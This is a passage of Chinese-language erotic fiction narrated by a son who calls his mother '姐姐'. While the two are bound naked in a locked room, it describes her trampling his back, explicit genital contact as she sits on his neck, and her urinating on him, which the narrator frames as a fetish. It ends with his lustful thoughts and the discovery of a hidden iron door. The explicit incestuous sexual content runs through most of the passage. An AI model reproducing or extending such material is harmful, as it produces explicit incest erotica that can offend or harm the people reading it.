  如果说刚才肚子承受妈妈的重量有点难受,那么现在换成背部就是享受了,
  妈妈的脚轻轻地在我背上刚才被击打的淤青处蠕动着,简直太爽了。
  “哦……姐姐,真是太舒服了,嗯,这里,再上一点,对了……再重一点,
  再重一点,噢……”妈妈的美脚错落有致地踩着我背肌与经络,让我舒服得叫唤
  出声。
  “小瑜,你喜欢这样按摩吗?”
  “喜欢,真是太喜欢了!”
  “嗯,今后我每天都给你这样踩背,好吗?”
  “哦,姐姐,如果真能那样,给我神仙也不换了。”我激动得想翻过身来,
  妈妈制止了我,道:“别动,小瑜,你伤得不轻,经络都有些结了,让姐姐好好
  替你送送筋骨。”
  “嗯,好,好。”我不再乱动,安心趴在地上,闭目享受着妈妈玉足的轻揉
  蜜按,妈妈的脚趾忽重忽轻地踩着我有些劳损的斜方肌,我舒服得就这样进入了
  梦乡。
  也不知道睡了多久,醒来时妈妈已经停止了按摩,双脚仍然踩在我背上。
  我忽然想,妈妈这样双手被吊在上面,手臂的血脉肯定很不通畅,忙道:
  “姐姐,你醒着吗?”
  “嗯。”妈妈迷迷糊糊地应了一声,。
  我费劲地站了起来,只见妈妈将头靠在自己的手臂上,打着小盹。
  我一阵心疼,问道:“姐姐,你的手臂是不是很难受?”
  妈妈醒了过来,努力睁着懵松的睡眼,道:“好象完全麻木了。”
  我道:“姐姐,我们还是先出去再说吧。”
  “嗯。”妈妈也没了主意,听凭我作主了。
  我挪到门边,用肩部撞门,喊道:“有人吗?开门哪!快开门哪!有人吗!”
  喊了数十声也没人答应,耳边回响着我自己的喊声,嗡嗡作响。
  妈妈此时也醒过来了,担忧地道:“他们不会把我们给忘记了吧?”
  我虽然心里也这么担心,但脸上没有表露出来,这时候我这个男子汉就是妈
  妈唯一的希望了。
  我挪回到妈妈旁边,道:“姐姐,我们先想个办法放松你的手臂,再这样吊
  着可不成。”我想了想,道:“有办法了!”
  “什么办法啊?”
  “你骑在我的脖子上,身子抬高了,手臂就可以比较放松了。”
  “这,这能行吗?”
  “姐姐,我知道你很害羞,但是我们现在也不是一般的关系了,为了你的身
  子,你就别在乎这些小节了。”我道。
  妈妈小声地“嗯”了一声,当是默许我的提议了。
  我背对着妈妈,弯下腰,妈妈修长的双腿张开,夹住了我的脖子,我慢慢地
  站了起来,这样妈妈的身子高出原来很多,手臂也终於得到放松。
  “哎哟……”妈妈痛呼出声,麻木的手臂这时应该是针刺般痛了,不过能感
  觉到痛还是好事,如果时间再长,手臂血流不畅,血管肌肉就会萎缩,那时就麻
  烦了。
  妈妈痛得浑身颤抖,我十分心疼,只能一边扭头亲着妈妈的大腿,一边安慰
  道:“姐姐,忍住,过一会就没事了。”
  过了好长一会,妈妈大口大口地喘着气,身子逐渐恢复了平静。
  我知道妈妈此时十分疲惫,因此也没有打扰她,让她好好歇息。
  又过了好长一会,妈妈才出声道:“好了,小瑜,没事了,刚才痛得要死呢。”
  “嗯,缓过来就好了。”我道。
  “可这样也不是办法啊,你这样扛着我不是更累吗?”妈妈道。
  “嗯,不累的。”我道。其实不但不累,还很舒服,妈妈赤裸的下身就骑在
  我脖子上,颈骨隐约可以感觉到妈妈柔软的阴唇贴在上面,妈妈蓬松的阴毛也轻
  紮在我的脖子上,刺得我浑身象过电般一阵阵发麻。
  妈妈也觉察到这种姿势带来的尴尬,但她无法向后退缩,为了保持平衡,妈
  妈只能使劲地往前凑,双腿紧紧地交叉夹住我的脖子。
  过了一会,妈妈突然在我背上扭动起来,我清楚地感受到妈妈的两片大阴唇
  在磨擦着我的脖子,我的心怦怦乱跳,心想妈妈莫非动情了?
  只听妈妈艰难地道:“小瑜……你先把我放下来。”
  “嗯。”我嘴上答应着,却没有行动,心想这样的良机可不能错过。
  “快啊,小瑜,我……我憋不住。”妈妈张开大腿,努力想从我身上下来。
  我恍然大悟,忙问:“姐姐,你是来小的还是大的?”
  “是小的啦,你还不快点。”妈妈有些急了。
  “哦。”我不好让妈妈太难堪,慢慢蹲下,身子前倾,让妈妈两腿张开,髋
  部往后移,离开我的脖子。
  我的动作很慢,“噢……”妈妈可能实在忍不住了,膕部刚挪到我的肩膀时,
  尿液就激射而出,沖在我的背上,妈妈已经收不住膀胱括约肌了,大急道:“小
  瑜,快避开啊!”
  妈妈在我背上喷尿了!这让我头脑一片空白,完全忘记了闪躲,妈妈滚烫的
  尿液一股股地沖刷着我的脊背,哦,今晚刚刚享受完妈妈的足踩,又承接了妈妈
  的圣水,我的背是何其的幸福啊。
  好象有过了很长时间,妈妈还在喷,可能看到已经无法挽回,妈妈停止了动
  作,破罐子破摔了,就这样双腿张开搭在我的肩头,阴户对着我的背部,肆无忌
  惮地尿着。
  在相识不到两天的恋人身上撒尿,虽然是情非得已,但妈妈此时肯定十分羞
  恼。我镇定了下情绪,装作若无其事地道:“姐姐,我手上的绳索被水打湿了,
  好象有所松动。”
  妈妈没有答话,放尿到了尾声,括约肌一张一缩的,把膀胱里余下的尿液尽
  数撒在我背上。
  见妈妈尿完,我重又站了起来,妈妈的外阴还是湿的,湿漉漉的阴唇就这样
  贴在我的脖子上,妈妈也不羞缩,双腿耷拉在我胸前。
  我心想坏了,妈妈一定是恼我了。心下惶恐,心想这下要是不能给出好的解
  释,妈妈肯定不会原谅我的。
  刚才妈妈大量的尿液从我背上流下,积在我被捆的手腕处,绳索被水浸泡,
  确实也没那么紧绷绷的了。
  我手腕上下磨擦,用劲蹭着绳子,暗想这是我唯一的藉口了,如果能挣脱出
  来,才能将功赎罪。
  不知道是否妈妈的尿液之功,还是我惶急之下爆发出的潜力,我竟然真的蹭
  松了绳子!接下来就好办了,手指上勾,运劲扯断这圈绳子,余下的绳索也自然
  解了。
  “呵呵。”我乐得笑出声来,稍微活动了一下有些麻木的双腕,将妈妈的双
  腿慢慢放下来,举起双手到妈妈眼前,道:“看,姐姐,我真的解开了!”
  妈妈的眼中闪过一丝喜悦,接着又羞愤地别过头去,拒绝看我。
  我哪敢怠慢,将旁边的矮柜推过来,站上去解开了妈妈手腕上的绳索,妈妈
  的双手终於得以解放。
  我站了下来,妈妈揉着被捆得红肿的手腕,只不说话,我大着胆握住了妈妈
  的手腕,轻轻地抚摸着,妈妈挣了一下,没有挣脱,也就任我握住了。
  我陪笑道:“姐姐,这次真的不是有意的,而且无意之中浸湿了绳子,我们
  才得以解脱,这也是好事一桩啊,你就不要再生我的气了,下次再也不敢了,啊?”
  “还敢有下次!”妈妈杏眼一瞪,我忙道:“不敢,绝对不敢了呀!”看我
  惊慌失措的样子,妈妈忍不住“噗哧”一笑,这一笑如冰河解冻,一场小危机化
  为无形。
  我心里暗捏一把冷汗,这次还是太孟浪了些,妈妈目前跟我虽然感情上突飞
  猛进,但还远未到可以在我面前撒尿的地步,这次要不是鬼使神差解了绳索,还
  真不知道该怎样弥补了。
  妈妈见我傻愣愣地盯着她看,羞红了脸转过身去,双手抱胸,道:“小瑜,
  我们得快想个办法出去啊。”
  靠啊,好容易解脱出来,跟妈妈赤裸裸地在密室中相对,如果这时候能捏一
  捏近在咫尺妈妈的翘臀,再拦腰抱住妈妈一阵温存,说不定还能……我口水都要
  留下来了。
  “快想办法呀,小瑜!”妈妈知我在背后偷看,恼怒地跺了跺脚。
  我定了定神,有了刚才的前车之鉴,现在我可不敢乱来了,一切等出去了之
  后再说,反正妈妈迟早是我的人了。
  我走到门背后锤打呼喊了一阵,还是没人应。
  垂头丧气地回到矮柜上坐下,妈妈仍然双手护胸,俏生生地站在一旁,道:
  “小瑜,你看那里。”
  “嗯”,我顺着她的目光往那边一看,只见刚才矮柜所在地方的墙面,有一
  个一米见方的方块,跟墙壁之间结合得非常紧密,好象就在这面墙上画了一个方
  形一般。
  我登时来了劲头,凑过去一看,这个方块一端还有两个小孔,手指刚好可以
  插入,我试着挪了挪,没有动静。於是深吸一口气,功运双指,以方块另一边为
  轴,使劲一拉,竟然拉动了!我大为振奋,憋住劲往轴那边拉着,随着“吱呀呀”
  一阵难听的声响,这个大铁块做的小门硬是被我拉开了。
  铁门无声地开着,后面黑洞洞的,象一张猛兽张开的大嘴,我和妈妈面面相
  觑,都说不出话来。